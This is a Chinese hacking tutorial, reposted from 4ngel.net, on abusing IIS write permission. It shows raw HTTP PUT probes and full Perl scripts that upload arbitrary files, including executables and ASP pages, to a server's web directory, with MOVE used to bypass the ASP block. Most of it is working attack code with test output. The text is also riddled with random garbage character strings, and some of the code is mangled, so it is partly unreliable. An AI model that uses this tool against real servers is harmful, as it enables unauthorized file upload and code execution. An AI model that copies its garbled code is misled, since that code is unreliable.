对iis写权限的利用

韩冰

作者：SuperHei 转自:http://www.4ngel.net

大家可能看过《远程分析IIS设置》，里面对iis的各种设置进行了分析，我这里就对iis的写权限来分析下，以下引用《远程分析IIS设置》文章对iis写权限分析内容：

写权限

　　测试一个目录对于web用户是否具有写权限，采用如下方法：telnet到服务器的web端口(80)并发送一个如下请求：

5 m9 q9 T" P8 O- K( G

% q q2 s' U% ?# T u# GPUT /dir/my_file.txt HTTP/1.1 ( D2 y1 |' ^- v9 `7 MHost: iis-server # T% }& i" g) ?/ \9 h' E& ?9 o( fContent-Length: 10

1 u" c% `7 E: P7 Y. j

　　这时服务器会返回一个100( 继续)的信息：

HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 % R, W0 T0 }# [/ t1 oDate: Thu, 28 Feb 2002 15:56:00 GMT

; ^3 }% R z. i! o0 m

　　接着，我们输入10个字母：

: [4 l# }) t& f9 n8 G7 V& |$ e7 h

" E' G7 K6 R+ |- A- `2 V5 s. ZAAAAAAAAAA

; r4 _3 x) @ `" n i

　　送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应：

6 |1 u4 V! i2 |# _1 C; RHTTP/1.1 201 Created Server: Microsoft-IIS/5.0 , B, t5 Y N8 b- R$ w; cDate: Thu, 28 Feb 2002 15:56:08 GMT Y( R; z, { I* HLocation: http://iis-server/dir/my_file.txt Content-Length: 0 Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, 5 g2 m l! m& H4 @4 s5 nPROPPATCH, SEARCH, LOCK, UNLOCK

2 f' `" l$ `$ ^5 ]' T0 L

　　那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么web用户就可以上传一个程序并且执行它，恐怖哦%^#$!~

& Q4 p* V# C2 M0 x- m

　　这里简单说明下：

- q8 ~ v. F6 A1 R8 c4 Q3 O. k7 S

" k" a3 ~7 t( T% ]. C, @PUT /dir/my_file.txt HTTP/1.1 Host: iis-server 0 d$ F! o S! Y1 L. GContent-Length: 10

4 t: k9 e! k$ g! K# G

　　PUT：请求服务器将附件的实体储存在提供的请求URL处，如果该请求URL指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源，该URL将被该请求的用户代理定义成为一个新的资源，原始服务器将用该URL产生这个资源。 　　Host：是HTTP请求的发送地址 ' x/ V/ z$ r: N6 f- x　　Content-Length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致

　　用nc（telnet）提交很烦琐，我们这里写个简单的perl程序，来完成这个复杂的提交过程，在写代码时我们用binmode()方式打开文件，代码如下：

7 A9 _- d5 S7 k( B2 j3 c

#!/usr/bin/perl use I:Socket; $ARGC = @ARGV;

if ($ARGC != 4) ' J9 G- C2 d6 H7 l7 v0 O; `{ 　　print "usage0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n"; 2 x! f5 U/ Q9 U+ L* p. t. d$ D　　exit; } 3 {6 V" Z1 @$ J$host = @ARGV[0]; $port = @ARGV[1]; / K" Q: f+ R: N+ e$file = @ARGV[2]; # F* o m% X$ t% @: |$ I! [" ], p$path = @ARGV[3];

@s=stat("$file"); 6 d( @0 ^& e3 l; g- Z& d7 E: N1 X& f$size = $s[7]; #得到文件大小 " |6 H$ p/ C; i$ dprint "$file size is $size bytes\n";

5 _3 W" D' ~+ X

my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; 9 _1 f, y3 ?/ @# l! _print $sock "PUT $path HTTP/1.1\n"; . Q; d+ t4 y" \' C) Q- aprint $sock "Host: $host\n"; % V9 r" r2 D/ S/ x, B$ @print $sock "Content-Length: $size\n\n"; #sock连接

open(FILE,"$file"); binmode(FILE); #用2进制打开文件

while (read(FILE,$char,1024)) { #读取文件数据上传 　　print $sock "$char"; & W3 N! Q9 j1 r} % Q( b, g2 f7 w% fprint $sock "\n\n"; @req = <$sock>; print "please wait...\n"; sleep(2); if ($req[4]=~/200|201/){ 　　print "upfile Succeed!!!" ; #成功显示 } else{ - x' T4 u& s& a# F0 L4 d　　print "upfile faile!!!\n\n"; 7 B5 o$ I v: J9 c　　print @req;#如果失败显示返回错误 . h& M5 h# }- _. Z} ! M' X1 h6 C( {$ ~; S8 n: ?8 Rclose $sock; close FILE;

1 D. g* e; S: E5 {* j

　　下面我们测试下：

% ?0 b5 k, ]1 U5 j, G( p# p! h. q' n

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt 3 T% l, g7 _. ]6 k. L+ Kkaka.txt size is 14 bytes please wait... K6 A8 m8 w }* \' V: Gupfile Succeed!!!

4 m9 L6 C9 a- T" Y- X* g

C:\Inetpub\Scripts>dir kaka.txt / w4 L5 d7 T1 X8 [/ ~3 m0 A驱动器 C 中的卷没有标签。 卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

2004-05-05 00:37 14 kaka.txt * q: z' I1 ]$ l9 g2 {" {7 ?/ T, W( l1 个文件 14 字节 : Y7 O* ^ s" k! f0 个目录 3,871,080,448 可用字节

, f0 u! |3 ~1 R% [0 E6 r% p4 j# o0 w

　　这里我们把kaka.txt成功上传到了web目录Scripts下，以为程序中用了binmode()方式（2进制）打开文件，应该可以上传其他文件，我们先测试下exe文件：

C% S4 d5 | Q

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe perl.exe size is 20535 bytes 8 |5 r$ A/ }) V% e& f6 lplease wait... " n! [8 t" \+ Y4 Q9 x& i+ g$ |" gupfile Succeed!!!

9 R8 A9 u' E8 t) v ` p

C:\Inetpub\Scripts>dir perl.exe 驱动器 C 中的卷没有标签。 卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

2004-05-05 00:42 20,535 perl.exe 1 个文件 20,535 字节 : n- c" C8 O" z6 N* w0 个目录 3,871,031,296 可用字节

　　成功，可以上传exe了，是不是可以上传任意文件呢？接着来测试asp文件：

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp kaka.asp size is 4 bytes please wait... 1 a% |/ [- b: ]8 b5 [upfile faile!!!

5 J- h+ V6 w: M# Q

HTTP/1.1 100 Continue ) O* k* A+ [* IServer: Microsoft-IIS/5.0 Date: Tue, 04 May 2004 16:45:51 GMT

: b" X3 N5 z+ P/ _5 X/ Q& M5 {' r

HTTP/1.1 403 Forbidden ! s3 J$ H! ^ H6 \4 O4 @Server: Microsoft-IIS/5.0 6 W/ B9 |$ G J/ o* g% xDate: Tue, 04 May 2004 16:45:51 GMT Connection: close Content-Type: text/html Content-Length: 44

<body><h2>HTTP/1.1 403 Forbidden</h2></body>

　　失败！！提示HTTP/1.1 403 Forbidden错误，看来直接用post方式写asp不行了，经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

; ^+ I$ c& R& |' t7 `! o+ A a

　　那我们怎样才可以上传iis支持的文件类型文件呢？iis除了可以执行put，post，get等动作外，还可以执行COPY, MOVE等命令，呵呵！我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件，在提过copy，move命令来改为asp。

% `2 o: n [, Z& a% O1 D

　　我们还是先用nc提交测试下：

' X x4 |. v1 X6 j2 A0 N' C % @- c5 x+ F4 `2 k- T

D:\>nc 127.0.0.1 80 1 ~8 z4 B) \4 I. EMOVE /scripts/kaka.txt HTTP/1.1 Host:127.0.0.1 ( y4 e: W2 J3 v+ V4 uDestination: http://127.0.0.1/scripts/kaka.asp

: W# K! b* a+ _$ G

HTTP/1.1 201 Created Server: Microsoft-IIS/5.0 Date: Sun, 05 Oct 2003 09:30:59 GMT : i7 `( c4 t+ R$ y& t7 W9 _Location: http://127.0.0.1/scripts/x.asp Content-Type: text/xml 2 ]) G% Z8 h, S+ p: iContent-Length: 0

7 z) R5 y- T% E7 P

　　成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了。我们还是用perl来完成。

　　测试写asp成功：

5 w$ l7 p/ ]5 o& n

C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp % e' f0 ?4 q0 c; m2 g************************************************************ codz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569> ; h, N1 @& M, `4 B: |' T( \9 k& I************************************************************ : l1 F, z6 C- `0 zkaka.asp size is 4 bytes please wait... * v* Y/ S+ B. ]0 k# ~( K8 mupfile Succeed!!! & @# K; k. G. m" ^, D. L0 t7 m" x( zModifyfile Succeed!!!

　　最终的iiswrite.pl代码如下（由于写本文时，在网吧对于文章中代码是先又本人打“草稿”，又lanker测试并最终完成，THX lanker。）：

, I6 ]1 l$ m7 b/ a! s# E" Q( ^

+ c% r( ~, A3 l& C8 G! E) ` - Z, ]* s/ J6 s2 o+ ?) d. h

#!/usr/bin/perl #The iiswrite Script

- p' w' R& `7 U- p+ h

use I:Socket; $ARGC = @ARGV; ( q6 `, K7 H! v* N1 X' bprint "*" x 60; 5 o' R: z+ W5 N& u: |+ |) H* Aprint "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n"; 1 F- w# y1 n" `print "*" x 60,"\n"; if ($ARGC != 4) { 　　print "usage0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n"; 　　exit; } $host = @ARGV[0]; $port = @ARGV[1]; $path = @ARGV[3]; . b- L0 P. y" k1 n5 p" @$file = @ARGV[2];

@path=split("/",$path); % j0 `& Q6 Z ?+ C' e* _2 I4 J/ _+ W" v3 C$any = pop(@path); $path1=join("/",@path); @s=stat("$file"); $size = $s[7];

print "$file size is $size bytes\n"; # D5 Q2 m/ T' gmy $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; " X0 C' u) A4 P6 l; rprint $sock "PUT $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; ( ~/ W5 q) P0 G$ @) S: N) lprint $sock "Content-Length: $size\n\n"; open(FILE,"$file")|| die "Can't open $file"; binmode(FILE); while (read(FILE,$char,1024)) { 　　print $sock "$char"; ' m; i/ O( `; z3 g6 i8 \$ a} print $sock "\n\n"; @req = <$sock>; 2 f9 ?' D! f' y' q* t: Tprint "please wait...\n"; sleep(2); if ($req[4]=~/200|201/){ 　　print "upfile Succeed!!!\n" ; / C% }5 O' g r* ?% ~# W+ p9 P! o} % {" q3 T" g7 b3 f Pelse{ 　　print "upfile faile!!!\n"; } ! t5 r: |+ I$ cclose $sock; close FILE;

my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, - k) |' }; O! XPeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "MOVE $path1/lanker.txt HTTP/1.1\n"; & T; K7 I7 O) C; a% t' v7 Pprint $sock "Host: $host\n"; print $sock "Destination:http://$hostport$path\n\n\n\n"; / c$ `: ` a2 d' M5 b0 {; q@req = <$sock>; 1 H" U2 a/ V3 P) L! l7 W5 Z2 s* Iif ($req[0]=~/20\d+|/){ 　　print "Modifyfile Succeed!!!" ; } 0 c( y7 z" E# V+ f; I S Eelse{ 　　print "upfile faile!!!"; 9 d3 |2 N2 c" F7 E: {( K} + M4 J5 y! c: Gclose $sock